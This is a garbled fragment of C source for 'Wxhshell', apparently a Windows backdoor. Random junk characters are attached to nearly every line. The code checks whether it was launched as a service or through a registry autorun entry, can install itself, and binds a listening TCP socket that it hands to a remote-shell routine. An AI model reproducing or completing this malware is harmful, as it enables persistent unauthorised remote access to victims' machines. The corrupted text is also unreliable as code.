`;Mf>V
DWORD PebBaseAddress; 5hEA/G
DWORD AffinityMask;
]Z UE !
DWORD BasePriority; "PTEt{qn
ULONG UniqueProcessId; LR.]&(kyd
ULONG InheritedFromUniqueProcessId; ~b*|V
} PROCESS_BASIC_INFORMATION; *eXs7 "H
4#W$5_Ny
PROCNTQSIP NtQueryInformationProcess; IX
6 jb"
eI`%J3BxR
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _~1O #*|4
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D
dwFKc&
$[HCetaqV
HANDLE hProcess; -h|[8UG^b
PROCESS_BASIC_INFORMATION pbi; 9`qw,X&AK_
'_DB0_Dp
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'Kmf6iK>[
if(NULL == hInst ) return 0; ci?\W6
"<egm^Yq
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6&i])iH
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MsIaMW _
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =saRh)EM
?^:5`
if (!NtQueryInformationProcess) return 0; d+h~4'ebv
\{*`-Pv
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OP(om$xm
if(!hProcess) return 0; '%|Um3);0p
sjLm-pn3
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zl#';~9W
m bhh
CloseHandle(hProcess); kG4])qxC'
" 5Pqvi
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2GigeN|1N
if(hProcess==NULL) return 0; Iza#v0
5<KBMCn
HMODULE hMod; asvM/ 9
char procName[255]; P"Q6 wdm
unsigned long cbNeeded; /&=y_%VR
=yJc pj
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]~3a ~
#Ph8?
CloseHandle(hProcess); hE,-CIRg
um".Z4S
if(strstr(procName,"services")) return 1; // 以服务启动 {^:i}4ZRl
m=iKu(2xRq
return 0; // 注册表启动 Ly`.~t(~l
} 1D"EF
<gvgr4@^yR
// 主模块 2 jQ?-/Q8#
int StartWxhshell(LPSTR lpCmdLine) >A L^y(G
{ d_V7w4lK
SOCKET wsl; SrdCLT8
BOOL val=TRUE; \@NnL\t
u
int port=0; T-oUcuQB
struct sockaddr_in door; C91'dM
U6nC
<3f
F
if(wscfg.ws_autoins) Install(); k^UrFl
KAy uv
port=atoi(lpCmdLine); caTKi8
^!(tc=sr
if(port<=0) port=wscfg.ws_port; i#U_g:~wC
9Pm|a~[m
WSADATA data; uF*tlaV6
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eg"!.ol
wD pL9 q
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; i~DLo3
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
Es:oXA
door.sin_family = AF_INET; bwjLMWEVq
door.sin_addr.s_addr = inet_addr("127.0.0.1"); <;Td8T;
door.sin_port = htons(port); OOz;/kay
8\`otJY
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { / Kj;%
closesocket(wsl); 1[?xf4EMG
return 1; Pz' Zn
} =~$)Ieu
a/q8v P
if(listen(wsl,2) == INVALID_SOCKET) { a&n}pnEn)
closesocket(wsl); G'_5UP!
return 1; x@VZJrQQ
} 1u~.^O}J
Wxhshell(wsl); 2\xEMec
WSACleanup(); BMbZ34^e
}~NWOJ3;
return 0; kkV*#IZ
qzE
-y-9@
} >D$NEO^
+&